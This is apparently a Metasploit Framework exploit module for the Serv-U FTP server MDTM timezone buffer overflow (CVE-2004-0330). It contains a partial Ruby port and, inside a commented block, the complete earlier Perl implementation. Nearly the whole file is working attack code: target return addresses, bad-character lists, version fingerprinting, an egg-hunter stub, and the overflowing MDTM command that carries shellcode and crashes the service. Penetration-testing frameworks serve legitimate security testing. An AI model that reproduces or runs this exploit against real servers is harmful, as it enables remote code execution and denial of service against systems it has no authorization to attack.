333 lines
8.4 KiB
Ruby
333 lines
8.4 KiB
Ruby
|
require 'msf/core/exploit/ftp'
|
||
|
|
||
|
module Msf
|
||
|
|
||
|
class Exploits::Windows::Ftp::ServUMDTMOverflow < Msf::Exploit::Remote
|
||
|
|
||
|
include Exploit::Remote::Ftp
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Serv-U FTPD MDTM Overflow',
|
||
|
'Description' => %q{
|
||
|
This is an exploit for the Serv-U's MDTM command timezone
|
||
|
overflow. It has been heavily tested against versions
|
||
|
4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
|
||
|
nt4/2k/xp/2k3. I have also had success against version 3,
|
||
|
but only tested 1 version/os. The bug is in all versions
|
||
|
prior to 5.0.0.4, but this exploit will not work against
|
||
|
versions not listed above. You only get one shot, but it
|
||
|
should be OS/SP independent.
|
||
|
|
||
|
This exploit is a single hit, the service dies after the
|
||
|
shellcode finishes execution.
|
||
|
|
||
|
},
|
||
|
'Author' => [ 'spoonm' ],
|
||
|
'Version' => '$Revision$',
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'OSVDB', '4073'],
|
||
|
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
|
||
|
[ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
|
||
|
[ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
|
||
|
[ 'MIL', '59'],
|
||
|
[ 'BID', '9751'],
|
||
|
[ 'CVE', '2004-0330'],
|
||
|
|
||
|
],
|
||
|
'Privileged' => false,
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'Space' => 1000,
|
||
|
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
|
||
|
|
||
|
},
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[
|
||
|
'Serv-U Uber-Leet Universal ServUDaemon.exe',
|
||
|
{
|
||
|
'Platform' => 'win',
|
||
|
'Ret' => 0x00401877,
|
||
|
},
|
||
|
],
|
||
|
[
|
||
|
'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
|
||
|
{
|
||
|
'Platform' => 'win',
|
||
|
'Ret' => 0x0040164d,
|
||
|
},
|
||
|
],
|
||
|
[
|
||
|
'Serv-U 5.0.0.0 ServUDaemon.exe',
|
||
|
{
|
||
|
'Platform' => 'win',
|
||
|
'Ret' => 0x0040167e,
|
||
|
},
|
||
|
],
|
||
|
],
|
||
|
'DisclosureDate' => 'Feb 26 2004',
|
||
|
'DefaultTarget' => 0))
|
||
|
|
||
|
register_advanced_options(
|
||
|
[
|
||
|
OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
|
||
|
OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
|
||
|
], self)
|
||
|
|
||
|
end
|
||
|
|
||
|
# From 5.0.0.4 Change Log
|
||
|
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
|
||
|
#
|
||
|
# Nice way to play it down boys
|
||
|
#
|
||
|
# Connected to ftp2.rhinosoft.com.
|
||
|
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
|
||
|
#
|
||
|
# Heh :)
|
||
|
|
||
|
|
||
|
=begin
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be redistributed
|
||
|
# according to the licenses defined in the Authors field below. In the
|
||
|
# case of an unknown or missing license, this file defaults to the same
|
||
|
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
||
|
# version of the Framework can always be obtained from metasploit.com.
|
||
|
##
|
||
|
|
||
|
package Msf::Exploit::servu_mdtm_overflow;
|
||
|
|
||
|
use base "Msf::Exploit";
|
||
|
use strict;
|
||
|
use Pex::Searcher;
|
||
|
use Pex::x86;
|
||
|
use Pex::Text;
|
||
|
|
||
|
|
||
|
|
||
|
# From 5.0.0.4 Change Log
|
||
|
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
|
||
|
#
|
||
|
# Nice way to play it down boys
|
||
|
#
|
||
|
# Connected to ftp2.rhinosoft.com.
|
||
|
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
|
||
|
#
|
||
|
# Heh :)
|
||
|
|
||
|
sub new {
|
||
|
my $class = shift;
|
||
|
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
|
||
|
return($self);
|
||
|
}
|
||
|
|
||
|
sub Check {
|
||
|
my $self = shift;
|
||
|
my $targetHost = $self->GetVar('RHOST');
|
||
|
my $targetPort = $self->GetVar('RPORT');
|
||
|
|
||
|
my $s = Msf::Socket::Tcp->new
|
||
|
(
|
||
|
'PeerAddr' => $targetHost,
|
||
|
'PeerPort' => $targetPort,
|
||
|
'LocalPort' => $self->GetVar('CPORT'),
|
||
|
'SSL' => $self->GetVar('SSL'),
|
||
|
);
|
||
|
|
||
|
if ($s->IsError) {
|
||
|
$self->PrintError;
|
||
|
return $self->CheckCode('Connect');
|
||
|
}
|
||
|
|
||
|
my $r;
|
||
|
|
||
|
$r = $self->response($s);
|
||
|
goto NORESP if(!$r);
|
||
|
if($r =~ /Serv-U FTP Server v4\.1/) {
|
||
|
$self->PrintLine('[*] Found version 4.1.0.3, exploitable.');
|
||
|
return $self->CheckCode('Appears');
|
||
|
}
|
||
|
elsif($r =~ /Serv-U FTP Server v5\.0/) {
|
||
|
$self->PrintLine('[*] Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
|
||
|
return $self->CheckCode('Appears');
|
||
|
}
|
||
|
elsif($r =~ /Serv-U FTP Server v4\.0/) {
|
||
|
$self->PrintLine('[*] Found version 4.0.0.4 or 4.1.0.0, additional check.');
|
||
|
}
|
||
|
elsif($r =~ /Serv-U FTP Server/) {
|
||
|
$self->PrintLine('[*] Looks like Serv-U, but not a version I know.');
|
||
|
return $self->CheckCode('Appears');
|
||
|
}
|
||
|
else {
|
||
|
$self->PrintLine('[*] Banner doesn\'t look like Serv-U, possible it still is.');
|
||
|
return $self->CheckCode('Safe');
|
||
|
}
|
||
|
|
||
|
$s->Send("USER " . $self->GetVar('USER') . "\r\n");
|
||
|
goto NORESP if(!$self->response($s));
|
||
|
|
||
|
$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
|
||
|
goto NORESP if(!$self->response($s));
|
||
|
|
||
|
$s->Send("P\@SW\r\n");
|
||
|
$r = $self->response($s);
|
||
|
goto NORESP if(!$r);
|
||
|
|
||
|
if($r =~ /500/) {
|
||
|
$self->PrintLine('[*] Found version 4.0.0.4, exploitable');
|
||
|
return $self->CheckCode('Appears');
|
||
|
}
|
||
|
else {
|
||
|
$self->PrintLine('[*] Found version 4.1.0.0, exploitable');
|
||
|
return $self->CheckCode('Appears');
|
||
|
}
|
||
|
|
||
|
# quit is for losers, exiting uncleanly rocks.
|
||
|
return $self->CheckCode('Safe');
|
||
|
|
||
|
# dirty
|
||
|
NORESP:
|
||
|
$self->PrintLine('[*] No response from FTP server');
|
||
|
return $self->CheckCode('Generic');
|
||
|
}
|
||
|
|
||
|
sub Exploit {
|
||
|
my $self = shift;
|
||
|
my $targetHost = $self->GetVar('RHOST');
|
||
|
my $targetPort = $self->GetVar('RPORT');
|
||
|
my $targetIndex = $self->GetVar('TARGET');
|
||
|
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
|
||
|
my $sehOffset = $self->GetLocal('SEHOffset');
|
||
|
|
||
|
my $s = Msf::Socket::Tcp->new
|
||
|
(
|
||
|
'PeerAddr' => $targetHost,
|
||
|
'PeerPort' => $targetPort,
|
||
|
'LocalPort' => $self->GetVar('CPORT'),
|
||
|
'SSL' => $self->GetVar('SSL'),
|
||
|
);
|
||
|
|
||
|
if ($s->IsError) {
|
||
|
$self->PrintLine('Error creating socket: '.$s->GetError);
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
my $r;
|
||
|
|
||
|
$r = $self->response($s);
|
||
|
goto NORESP if(!$r);
|
||
|
|
||
|
# $targetIndex = 1 if(!$targetIndex && $r =~ /v4\.1/);
|
||
|
# $targetIndex = 1 if(!$targetIndex && $r =~ /v5\.0/);
|
||
|
|
||
|
$s->Send("USER " . $self->GetVar('USER') . "\r\n");
|
||
|
goto NORESP if(!$self->response($s));
|
||
|
|
||
|
$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
|
||
|
goto NORESP if(!$self->response($s));
|
||
|
|
||
|
# Autodetect no more
|
||
|
|
||
|
# if(!$targetIndex) {
|
||
|
# $s->Send("P\@SW\r\n");
|
||
|
# $r = $self->response($s);
|
||
|
# goto NORESP if(!$r);
|
||
|
#
|
||
|
# $targetIndex = $r =~ /500/ ? 1 : 1;
|
||
|
# }
|
||
|
|
||
|
# Should have paid more attention to skylined's exploit, only after figuring
|
||
|
# out how my payloads were getting transformed did I remember seeing \xff
|
||
|
# doubling in his CHMOD exploit, arg!
|
||
|
if($self->GetLocal('ForceDoubling') == 1) {
|
||
|
$self->PrintLine('[*] ForceDoubling enabled, enabling \xff doubling.');
|
||
|
$shellcode = xffDoubler($shellcode);
|
||
|
}
|
||
|
elsif($self->GetLocal('ForceDoubling') == 0) {
|
||
|
$self->PrintLine('[*] ForceDoubling disabled, disabling \xff doubling.');
|
||
|
}
|
||
|
else {
|
||
|
$s->Send("P\@SW\r\n");
|
||
|
$r = $self->response($s);
|
||
|
goto NORESP if(!$r);
|
||
|
if($r =~ /^500/) {
|
||
|
$self->PrintLine('[*] Serv-U 4.0.0.4 detected, enabling \xff doubling.');
|
||
|
$shellcode = xffDoubler($shellcode);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
my $target = $self->Targets->[$targetIndex];
|
||
|
$self->PrintLine('[*] Trying to exploit target ' . $target->[0]);
|
||
|
|
||
|
my $searcher = Pex::Searcher->new("\x34\x33\x32\x31");
|
||
|
|
||
|
# Searcher expects address to start scanning at in edi
|
||
|
# Since we got here via a pop pop ret, we can just the address of the jmp
|
||
|
# off the stack, add esp, BYTE -4 ; pop edi
|
||
|
my $searchCode = "\x83\xc4\xfc\x5f" . $searcher->Searcher . 'BB';
|
||
|
|
||
|
if($sehOffset < length($searchCode)) {
|
||
|
$self->PrintLine('[*] Not enough room for search code.');
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
my $jmpBack = Pex::x86::JmpShort('$+' . (-1 * length($searchCode))) . 'BB';
|
||
|
|
||
|
# $jmpBack = "\xcc\xcc\xcc\xcc";
|
||
|
|
||
|
my $command = 'MDTM 20031111111111+' . ('A' x ($sehOffset - length($searchCode)));
|
||
|
$command .= $searchCode;
|
||
|
$command .= $jmpBack . pack('V', $target->[1]);
|
||
|
$command .= ' /' . $searcher->StartTag . $shellcode . $searcher->EndTag . "\r\n";
|
||
|
|
||
|
$s->Send($command);
|
||
|
|
||
|
$r = $self->response($s, 2);
|
||
|
if($r) {
|
||
|
$self->PrintLine('[*] Received data back from server, not a good sign, maybe newer than 5.0.0.0?');
|
||
|
}
|
||
|
|
||
|
$self->Handler($s);
|
||
|
return;
|
||
|
|
||
|
# dirty
|
||
|
NORESP:
|
||
|
$self->PrintLine('[*] No response from FTP server');
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
sub response {
|
||
|
my $self = shift;
|
||
|
my $sock = shift;
|
||
|
my $r;
|
||
|
if(@_) {
|
||
|
my $timeout = shift;
|
||
|
$r = $sock->Recv(-1, $timeout);
|
||
|
}
|
||
|
else {
|
||
|
$r = $sock->Recv(-1);
|
||
|
}
|
||
|
chomp($r);
|
||
|
$r =~ s/\r//g;
|
||
|
$self->PrintLine("[*] REMOTE> $r") if($r);
|
||
|
return($r);
|
||
|
}
|
||
|
|
||
|
# Serv-U is dumb. Doubling for 4.0.0.4
|
||
|
sub xffDoubler {
|
||
|
my $payload = shift;
|
||
|
$payload =~ s/\xff/\xff\xff/g;
|
||
|
return($payload);
|
||
|
}
|
||
|
|
||
|
|
||
|
=end
|
||
|
|
||
|
|
||
|
end
|
||
|
end
|